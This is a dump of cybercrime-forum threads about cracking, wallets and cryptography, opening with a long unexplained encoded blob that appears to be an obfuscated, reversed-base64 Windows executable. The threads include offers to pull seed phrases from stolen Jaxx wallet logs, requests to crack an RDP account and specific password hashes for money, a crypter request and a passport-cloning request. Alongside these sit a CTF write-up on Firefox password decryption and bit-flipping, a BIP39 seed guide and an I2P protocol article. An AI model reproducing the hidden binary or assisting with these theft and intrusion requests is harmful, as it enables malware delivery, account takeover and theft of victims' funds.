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

Jaxx экспорт seed phrase
ID: 676536fbb4103b69df37388c
Thread ID: 45438
Created: 2020-12-11T19:40:50+0000
Last Post: 2020-12-11T19:40:50+0000
Author: Randy
Replies: 0 Views: 1K

У кого в логах есть Jaxx кошельки нового образца и нужно получить доступ - пишите. Помогу вытянуть seed phrase. Обход PIN кода

Who have in logs new Jaxx wallet and need access to it - write me. Can help export seed phrase. PIN code bypass

RDP account crack
ID: 676536fbb4103b69df373894
Thread ID: 42636
Created: 2020-09-29T18:07:54+0000
Last Post: 2020-09-29T18:07:54+0000
Author: inpres
Replies: 0 Views: 1K

Hello, I'm looking for someone who is able to get into the RDP account (the account was mine, someone changed the password), please contact us or recommend a person who would undertake the task. I have old pass,login and adress.If the post is in the wrong topic, please move the moderation to the right place.

Аналог API Hashes.org
ID: 676536fbb4103b69df373896
Thread ID: 41332
Created: 2020-08-26T00:05:50+0000
Last Post: 2020-09-22T20:40:50+0000
Author: redeyex
Replies: 1 Views: 1K

Раньше был этот сервис.. Очень помогало, копировать в адресную строку хэш и всё..
Сейчас они подзакрылись что-ли..
Есть ли аналоги у вас на примере, подскажите пожалуйста..

2 Russian Wordpress hashes ($25)
ID: 676536fbb4103b69df373897
Thread ID: 42362
Created: 2020-09-22T11:15:53+0000
Last Post: 2020-09-22T11:15:53+0000
Author: teferi
Replies: 0 Views: 1K

Hi xss.is,

I'm not from Russia, but I'm looking for someone that can try to crack 2 Russian passwords for me.

Code:Copy to clipboard

$P$BrKEy6BMjTWm6zzAHWXw7isErsgXO30
$P$Btyl3RrMASvzT7JLcs9IxAURksg34b1

Reward: $25

Contact Telegram: @teferi_hod
or PM

кто может расшифровать пароль
ID: 676536fbb4103b69df373899
Thread ID: 42272
Created: 2020-09-19T18:10:30+0000
Last Post: 2020-09-19T18:26:57+0000
Author: tafor1
Replies: 3 Views: 1K

md5(md5(pass)).
0191de252818e269d3d9a411b0692689

Нужен криптор
ID: 676536fbb4103b69df37389a
Thread ID: 42060
Created: 2020-09-14T12:19:17+0000
Last Post: 2020-09-15T16:12:08+0000
Author: Volstiny
Replies: 1 Views: 1K

Всме привет, нужен криптор .exe на постоянку.

Пентест,Криптография и математика
ID: 676536fbb4103b69df37389c
Thread ID: 41790
Created: 2020-09-05T15:41:09+0000
Last Post: 2020-09-05T16:38:13+0000
Author: negg
Replies: 2 Views: 1K

Нужна ли сильная криптография в пентесте? Начиная с какого уровня криптографии необходимы знания математики,вопросы возможно поставлены неправильно,из за малой осведомленности в этой теме.

Пароли в Firefox. Пароль Android. Атака Bit-Flipping. Решение задач с root-me Crypto.
ID: 676536fbb4103b69df37389d
Thread ID: 41705
Created: 2020-09-03T11:20:47+0000
Last Post: 2020-09-03T11:20:47+0000
Author: tabac
Prefix: Мануал/Книга
Replies: 0 Views: 1K

В данной статье ломаем шифры перестановки и Виженера, расшифруем сохраненный в браузере Mozilla Firefox пароль, расправляемся с блокировкой Android и разбираемся с атакой Bit-Flipping.

Mozilla Firefox Password

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Ffp%2Fbt%2F1b%2Ffpbt1bm --oeuvc7remvhqsaiaey.png&hash=6b3ff76b94988ef1b15f30c9a1e8a816)

Нам нужно найти пароль пользователя. Скачиваем и открываем архив, в котором находится директория .mozilla. В данной директории есть папка с расширениями и папка с именем браузера.

Так как расширения нас не интересуют, то заходим в диру-браузер. Там конфигурационный файл профиля и еще одна директория.

Заходим в папку и просматриваем файлы.

Все пароли, хранящиеся в базе данных, зашифрованы, поэтому просто так посмотреть их не получится. Для расшифрования можно использовать этот скрипт.

Code:Copy to clipboard

python3 firefox_decrypt.py ~/Загрузки/.mozilla/firefox/o0s0xxhl.default/

Шифр Виженера

Нам дан зашифрованный текст, и нужно найти его автора. Так как это шифр Виженера, то воспользуемся [онлайн декодером](https://www.dcode.fr/vigenere- cipher).
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Faw%2Fof%2Fm_%2Fawofm_il- wj81d1wl1suqwsceti.png&hash=70c2aaf1cd7ccb3e524c85269542f1ac)

Выбираем автоматический режим.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F22%2Ftm%2Ftr%2F22tmtrq- azi02pq4bapp5pisc54.png&hash=b4075e8f4a4f4e84ee8f9e13b9726edc)
И получаем открытый текст и ключ. Осталось загуглить текст и найти автора.

Android lock pattern

Нам дают дамп файловой системы андроид и просят найти пароль. Это очень легко сделать, имея доступ к файловой системе. Хеш пароля (SHA1) находится в файле /data/system/gesture.key.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F6b%2Fvv%2Fnb%2F6bvvnbkvnfmhizypeo- seunkndk.png&hash=a141258a75e710b0261e6a1ce9a49bcb)

Мы можем либо взять и пробрутить хеш, либо воспользоваться androidpatternlock.

Найден как пароль, так и графический ключ.

Шифр перестановки

Нам дают зашифрованное сообщение и просят его расшифровать. Так как это шифр Rail Fence, то воспользуемся уже знакомым нам онлайн декодером.

И теперь среди предложенных нам расшифровок нужно выбрать ту, которая имеет осмысленный текст.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fky%2F-p%2Fnm%2Fky- pnmqz-anlxbma-u29sypms_0.png&hash=1bb37bd25239b37226961614451aab48)
И получаем ответ.

AES CBC — Атака Bit-Flipping

Нам дают хост и порт для подключения. Подключимся с помощью netcat.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fo-%2Fjx%2Fg0%2Fo- jxg0nlnbk59s74r6o5yzo3c18.png&hash=73d56547ec717c17f90602973b989650)

Нам предоставляют варианты действий — зарегистрироваться или войти. Сначала зарегистрируемся.

И нам предоставили частично открытый и зашифрованный текст. Теперь логинимся с данным токеном.

Но после входа, мы не можем получить доступ к данным, так как не являемся членом группы.

С заданием разобрались, теперь давайте разберемся с атакой Bit-Flipping. Эта атака обычно происходит в тех случаях, когда функция шифрования принимает некоторые входные данные, добавляет случайную строку и добавляет к ней другую строку перед ее шифрованием (наш случай).

Ниже представлена схема расшифрования сообщения по алгоритму AES CBC.

Дело в том, что предыдущий блок шифртекста ксорится с последующим блоком, для того, чтобы снять наложение текста, в итоге мы имеем расшифрованный текст.

Таким образом, если мы изменим один байт шифртекста в предыдущем блоке, то изменится один байт открытого текста в следующем блоке.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fqu%2Fur%2Fov%2Fquurov6wbl- ugkinf4my1dd_rhy.png&hash=8f1660fc7b7ab17dee1cd1b0616be79f)
Теперь вернемся к заданию. В открытом тексте имеется параметр is_member=false. Как изменить, сложно представить. Но так как у нас есть символы уравнения, для того, чтобы весь текст был кратен размеру блока, мы можем изменить их так, чтобы при расшифровывании получалась строка is_member=true.

Разберемся, как это сделать. Данная строка должна получиться при расшифровывании в последнем блоке — EvilP2. Для этого нам нужно собрать блок EvilC1.

Как это сделать: Мы имеем CC1 и PP2. Проксорив их между собой, мы можем получить DC2. Так как мы знаем, что EvilP2 содержит “;is_member=false]” и знаем DC2, то проксорив их между собой, можно получить EvilC1.

Регистрируемся еще раз.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fya%2Fg-%2Frl%2Fyag- rluka2a390ppirstoku44iu.png&hash=2f84ae76c248ab08d7c8b265949f0d60)

Инициализируем начальные параметры.

Теперь получим известные нам блоки.
![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fk3%2Fqq%2Fm_%2Fk3qqm_w_crq6rtpokqur- kxg5g0.png&hash=e21d758e520e3c127b191287727552dc)

Теперь получим новые блоки.

Собираем нагрузку.

Пробуем залогиниться.

И ничего не вышло, нас обнаружили. Скорее всего это из-за наличия двух одинаковых параметров. Давайте убьем первый.

И теперь успешно логинимся и забираем токен.

автор @RalfHacker

Help to identify hash?
ID: 676536fbb4103b69df3738a2
Thread ID: 41438
Created: 2020-08-27T18:57:42+0000
Last Post: 2020-08-30T02:26:37+0000
Author: NitroDawn
Replies: 5 Views: 1K

Can anyone help identify what type of hash this is?

ENCd2ac778cc00249eaff33128f4e14365b27c2b8987a3a0325cee6461c8bfdbb4a

Создаем свою мнемоническую фразу для аппаратного или программного кошелька.
ID: 676536fbb4103b69df3738a4
Thread ID: 40748
Created: 2020-08-10T15:05:48+0000
Last Post: 2020-08-20T14:38:06+0000
Author: PR1SM-NSA
Replies: 2 Views: 1K

По мотивам этого треда http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/40694/

Для чего это нужно.
1. Для того что бы можно было легко запомнить свою сид фразу. Те фразы которые генерирует программный кошелек будь то Exodus, Atomic, Electrum; или же аппаратные Ledger, Trezor, KeepKey, etc - очень сложны для запоминания и их приходится записывать либо на бумажном носителе, либо электронном (txt файл в зашифрованном архиве и тд). Некоторые вообще не заморачиваются и хранят фразу прямо плайн текстом у себя на ПК. Думаю те кто в теме благодаря этому не малый доход получили во время рассвета стилеров.
2. Даже среди пользователей аппаратных кошельков существуют теории заговоров о том что все сиды генерируются по какому то определенному сверхсложному алгоритму заложенному в чипах и производитель в один прекрасный момент сможет восстановить все сид фразы и угнать у всех их криптовалюту. Про программные кошельки диванные эксперты такого же мнения хоть им и нечем парировать т.к. в программных кошельках используются сертифицированные и общепринятые ГСЧ (генераторы случайных чисел).

Я буду опираться на первое.

Что бы не забыть сид фразу и не хранить ее на небезопасных носителях к которым в теории может получить доступ кто угодно нужно придумать свою фразу, например что то такое что вы никогда не забудете. Возможно какое то высказывание или набор слов с которым у вас есть какие то ассоциации или же цитату допустим какого то человека или цитату из худ. произведения. Но есть условие. Сид фраза может состоять только из слов которые есть в этом словаре https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt есть еще словари для других языков но я не видел что бы они где то использовались, обычно везде используется этот.

Разберем что такое вообще сид фраза. Это всего навсего набор бит. Если фраза из 12 слов то это 128 бит, если фраза из 18 слов то это 192 бита и если фраза из 24 слов то это 256 случайных бит соответственно.

К примеру сид фраза из слов race napkin reveal glow oblige vibrant mansion option music canvas month ripple выглядит вот так

10111001001 - rice
10010010111 - napkin
10111000011 - reveal
01100011110 - glow
10011000001 - oblige
11110011011 - vibrant
10000111010 - mansion
10011011101 - option
10010001111 - canvas
00100001101 - music
10001111011 - month
1011101

Последнего слова ripple нет. Так как оно всегда является контрольной суммой. Узнать его легко. Идем сюда https://cryptii.com и хешируем все наши случайные 128 бит хеш функцией SHA - 256
Untitled.jpgUntitled.jpg

Далее берутся первые 4 бита получившегося хеша. 0010 и добавляются к последним 7 битам нашего случайного 128 битового числа. Получается 10111010010

Потом мы берем эти биты и конветируем их в десятичное число например тут https://www.rapidtables.com/convert/number/binary-to-decimal.html
И получаем число 1490

Untitled2.jpg

Прибавляем к этому числу еденицу и получаем 1491. (еденицу нужно прибавлять так как слова в словаре https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt начинаются не с нуля а с еденицы!)
Находим 1491 слово и это слово будет ripple.

Вообще для диких параноиков можно от головы написать 128/192/256 битное число, разделить его на группы по 11 бит, далее каждые 11 бит преобразовать в слово с помощью конветера bin to dex, а последнее слово найти с помощью хеша как я рассказал выше)

Но нам простым смертным это не нужно. Мы пойдем по простому пути. Придумаем фразу сами. Берем словарь https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt

И выбираем из него набор слов которые мы сможем легко запомнить. Например мы хотим создать фразу из 12 слов
Выбираем 11 слов you young super rich girl tobacco alcohol water coffee coin balance

Далее идем сюда и качаем этот инструмент для перебора сид фраз <https://kzen- networks.github.io/mnemonic-recovery/src/index.html>

Онлайн версию юзать не советую так что качаем архив с гитхаба https://github.com/KZen-networks/mnemonic-recovery распаковываем у себя на пк, читаем инструкцию и открываем в браузере html файл [mnemonic- standalone.html](https://github.com/KZen-networks/mnemonic- recovery/blob/master/mnemonic-standalone.html) (естественно в лучших традициях параноиков отклченном от интернета). Копируем туда наши слова you young super rich girl tobacco alcohol water coffee coin balance и в конце дописываем вопросительный знак. Немного ждем и получаем слово с контрольной суммой. И если нам повезет то последнее слово будет тоже легким для запоминания (к тому же там будет выбор из нескольких вариантов). Я выбрал capital
Получилась сид фраза вида you young super rich girl tobacco alcohol water coffee coin balance capital

Ее легко запомнить полностью и обезопасить себя от рисков того что кто то найдет листочек с вашей фразой. Должен сказать что фраза должна быть все таки чем то уникальным, тем что не сможет сочинить другой человек, вы должны это понимать. Лучше использовать что то личное или набор слов ассоциирующийся у вас с этим.

Hashes.org Dictionary Stripped Down
ID: 676536fbb4103b69df3738a5
Thread ID: 40611
Created: 2020-08-07T06:40:11+0000
Last Post: 2020-08-08T08:28:10+0000
Author: stackerofwheat
Replies: 2 Views: 1K

All wordlists from 2012-2020 combined but with all numbers and special characters removed. Have had very good success using with rules/masks.

https://workupload.com/file/ACXsYwC3

Clone rfid Passport or id
ID: 676536fbb4103b69df3738a8
Thread ID: 37712
Created: 2020-05-24T11:52:59+0000
Last Post: 2020-06-27T18:57:37+0000
Author: Kodeck
Replies: 1 Views: 1K

Hola amigos, cómo están, estoy investigando cómo clonar la identificación de mi país, quiero saber si alguien me puede ayudar, la identificación o el chip del pasaporte funciona con dos protocolos de autenticación activa y bac de AA, encontré el software que el gobierno usa para poder registrar la identificación o el pasaporte, pero necesito descifrarlo, ¿alguien puede ayudarme

Восстановление seed фраз
ID: 676536fbb4103b69df3738aa
Thread ID: 38615
Created: 2020-06-19T20:57:33+0000
Last Post: 2020-06-20T05:36:44+0000
Author: Randy
Replies: 1 Views: 1K

У кого есть поломанные или неполные seed'ы пишите в ПМ, могу помочь.
P.S. Все с отчетом разумеется, во избежание недоразумений.

Who have broken or incomplete seed phrases write me PM, i can help.
P.S. Everything with the report, of course, in order to avoid misunderstandings.

ECIES-X25519-AEAD-Ratchet — новый быстрый протокол сквозного шифрования сети I2P
ID: 676536fbb4103b69df3738ab
Thread ID: 38018
Created: 2020-06-02T18:54:56+0000
Last Post: 2020-06-02T18:54:56+0000
Author: tabac
Replies: 0 Views: 1K

Ныне используемый протокол ElGamal/AES обладает рядом существенных недостатков и является одной из причин относительно медленной работы сети I2P. Рассматриваемый в статье протокол призван повысить скорость работы и надежности сети и открывает новые возможности, в том числе передачу потокового аудио и видео. Основан на протоколе Noise и алгоритмах мессенджера Signal. Подробное описание здесь. Особо следует отметить, что новый протокол может использоваться с существующими адресами I2P совместно с ElGamal/AES. Статья посвящена реализации в i2pd
elligator

Новая криптография и Elligator

В основном используется та же криптография что и в NTCP2: x25519 заменяет ElGamal, а AEAD/Chacha20/Poly1305 заменяет AES. Помимо этого добавляется HKDF-SHA256, создающая ключи длиной 32 или 64 байт и доступная в OpenSSL версии 1.1.1, для более ранних версий используется своя реализация посредством HMAC-SHA256.

В отличие от временного публичного ключа ElGamal, представляющего собой случайные 256 байт, публичный ключ x25519 является точкой на эллиптической кривой, и злоумышленник может понять, являются ли 32 байта ключом x25519 и сделать определенные выводы. С целью недопущения этого публичный ключ подвергается преобразованию под названием Elligator, сложному самому по себе и заслуживающего отдельной статьи. Подробно как и почему оно работает описано здесь. Практическая реализация на основе OpenSSL выглядит не столь сложной, однако:

  1. Для преобразования пригодна только половина ключей. Пригодность определяется вычислением символа Лежандра
  2. Пригодный ключ может быть преобразован в случайную последовательность 254 бит и восстановлен из нее обратным преобразованием
  3. Произвольные 254 бита могут быть преобразованы обратно в какой либо ключ x25519
  4. В I2P старшие 2 бита заполняются случайными значениями до полных 32 байт

Та же самая проблема существует и с NTCP2, там публичный ключ x25519 шифруется AES с адресом маршрутизатора в качестве ключа, но здесь другая модель угрозы, потому что злоумышленник находится внутри I2P и такой способ сокрытия ключа не подходит.

Сквозное шифрование I2P

I2P адреса обмениваются между собой I2NP сообщениями типа 11 — Garlic(«чеснок»), содержимое которого представляет собой полностью зашифрованные данные, шифруемые адресом отправителя и расшифровываемые адресом получателя. Более подробно принципы работы описаны здесь. Применительно к ElGamal/AES следует отметить следующие основные моменты:

  • Первое сообщение шифруется публичным ключом ElGamal получателя из его LeaseSet-a. Вместе с ним передается ключ AES и набор 32-байтных тэгов для последующих сообщений. Шифрование и особенно расшифровка ElGamal очень медленные
  • Каждый тэг используется один раз. Получатель сначала сравнивает первые 32 байта сообщения с известными ему тэгами, и, в случае нахождения, использует соответствующий ключ AES для расшифровки остатка сообщения. Таким образом, используя тэг, отправитель должен быть уверен в том, что тэг известен получателю, периодически отправлять новые тэги и дожидаться подтверждения получения. Поэтому довольно часто возникает ситуация, что подтвержденных тэгов больше нет и приходится снова использовать ElGamal
  • Получатель не знает откуда пришло сообщение
  • Длина сообщения, зашифрованного AES, всегда кратна 16 байтам и дает в остатке 2 для зашифрованного ElGamal

В новом протоколе вводится понятие сеанса(session) между ключами шифрования адресов, ключ шифрования однозначно определяет адрес, но у одного адреса может быть несколько ключей, например при multihoming или при рестарте. Между парой ключей может быть только один сеанс, сеансы двунаправленные, при получении пакета сеанс определяет отправителя. Все пакеты, кроме первого, начинаются с 8-байтного тэга, связывающего пакет с tagset-ом и сеансом. Тэги не передаются , а вычисляются одновременно на обеих сторонах сеанса. Пакет шифруется AEAD/Chacha20/Poly1305, ключ шифрования уникален для каждого пакета и вычисляется на обеих сторонах на основе предыдущего с помощью HKDF.

Code:Copy to clipboard

i2p::crypto::HKDF (m_CurrentSymmKeyCK, nullptr, 0, "SymmetricRatchet", m_CurrentSymmKeyCK);

Установка соединения

При установке соединения происходит обмен двумя сообщениями и участвуют 4 пары ключей x25519: две пары ключей шифрования адресов и две пары временных ключей. Публичный ключ шифрования сервера(Боб) берется из LeaseSet-а его адреса, публичные временные ключи передаются вместе с сообщениями, скрытые с помощью Elligator'а, публичный ключ шифрования клиента(Алиса) передается отдельным зашифрованным блоком.

NewSession(NS) -----------> Боб
Алиса < — NewSessionReply(NSR)

Click to expand...

В процессе соединения происходит вычисление ключа ck (chaining key) по протоколу Noise на основе вычисленного общего ключа x25519(shared secret), в качестве операции MixKey используется HKDF

Code:Copy to clipboard

i2p::crypto::HKDF (m_CK, sharedSecret, 32, "", m_CK);

После успешного согласования создается первый tagset с ck в качестве ключа

Первый tagset

Code:Copy to clipboard

uint8_t keydata[64];
i2p::crypto::HKDF (m_CK, nullptr, 0, "", keydata); // keydata = HKDF(chainKey, ZEROLEN, "", 64)
// k_ab = keydata[0:31], k_ba = keydata[32:63]
auto receiveTagset = std::make_shared<RatchetTagSet>(shared_from_this ());
receiveTagset->DHInitialize (m_CK, keydata); // tagset_ab = DH_INITIALIZE(chainKey, k_ab)
receiveTagset->NextSessionTagRatchet ();
m_SendTagset = std::make_shared<RatchetTagSet>(shared_from_this ());
m_SendTagset->DHInitialize (m_CK, keydata + 32); // tagset_ba = DH_INITIALIZE(chainKey, k_ba)
m_SendTagset->NextSessionTagRatchet ();

Алиса отправляет сообщения NS до тех пор, пока не получит NSR от Боба, первый полученный NSR определяет текущий сеанс, если сеанс уже существует, то обрабатывается только содержимое пакета. С каждым NS создается отдельный временный tagset, предназначенный исключительно для получения и расшифровки NSR.
Боб создает новый сеанс при получении первого NS, и продолжает отправлять NSR с ключами и тэгами пока не получит первое сообщение установленного сеанса.

Структура сообщения Garlic

Незашифрованное сообщение Garlic в новом протоколе имеет другую структуру, чем в ElGamal/AES. Вместо «чесночин», по сути своей представляющие I2NP сообщения с инструкциями для их доставки, в новом протоколе используются блоки разных типов, аналогичные NTCP2. Каждый блок состоит из заголовка с типом и длиной и содержимого. В настоящий момент используются следующие типы блоков:

  • Garlic Clove — содержит I2NP сообщение с инструкциями для доставки. Как правило данные или LeaseSet. Инструкции для доставки в i2pd в настоящий момент не используются и при по получении игнорируются, однако заполняются при отправке для совместимости с джавовскими маршрутизаторами. Заголовок I2NP изменен с целью уменьшения объема передаваемых данных
  • Next Key — используется для согласования ключей нового tagset-а
  • ACK Request — запрос подтверждения получения сообщения. Обычно запрашивается вместе с отправкой нового LeaseSet-а
  • ACK — ответ на ACK request
  • Padding — блок случайной длины 0-16 байт. Всегда последний

Наборы тэгов(tagsets) и создание новых ключей

Упоминавшийся ранее tagset представляет собой генератор троек (номер, тэг, ключ) для каждого нового пакета. Номера идут по порядку начиная с 0. Номер передается как двухбайтное число, поэтому в одном tagset-е может быть сгенерировано не более 65535 тэгов, после чего требуется новый tagset. Практически же используется гораздо меньшее значение, в частности в i2pd новый tagset создается после отправки 4K пакетов.
Tagset начинается с операции DH_INITIALIZE на основе общего ключа и результата DH_INITIALIZE предыдущего tagset-а.

DH_INITIALIZE

Code:Copy to clipboard

// DH_INITIALIZE(rootKey, k)
uint8_t keydata[64];
i2p::crypto::HKDF (rootKey, k, 32, "KDFDHRatchetStep", keydata); // keydata = HKDF(rootKey, k, "KDFDHRatchetStep", 64)
memcpy (m_NextRootKey, keydata, 32); // nextRootKey = keydata[0:31]
i2p::crypto::HKDF (keydata + 32, nullptr, 0, "TagAndKeyGenKeys", m_KeyData.buf);
// [sessTag_ck, symmKey_ck] = HKDF(keydata[32:63], ZEROLEN, "TagAndKeyGenKeys", 64)
memcpy (m_SymmKeyCK, m_KeyData.buf + 32, 32);

Затем вычисляется SESSTAG_CONSTANT, используемая для вычисления тэгов

SESSTAG_CONSTANT и тэги

Code:Copy to clipboard

i2p::crypto::HKDF (m_KeyData.GetSessTagCK (), nullptr, 0, "STInitialization", m_KeyData.buf); // [sessTag_ck, sesstag_constant] = HKDF(sessTag_ck, ZEROLEN, "STInitialization", 64)
memcpy (m_SessTagConstant, m_KeyData.GetSessTagConstant (), 32);

Собственно вычисление тэга представляет собой простой HKDF от предыдущего
[sessTag_ck, tag] = HKDF(sessTag_ck, SESSTAG_CONSTANT, «SessionTagKeyGen», 64)
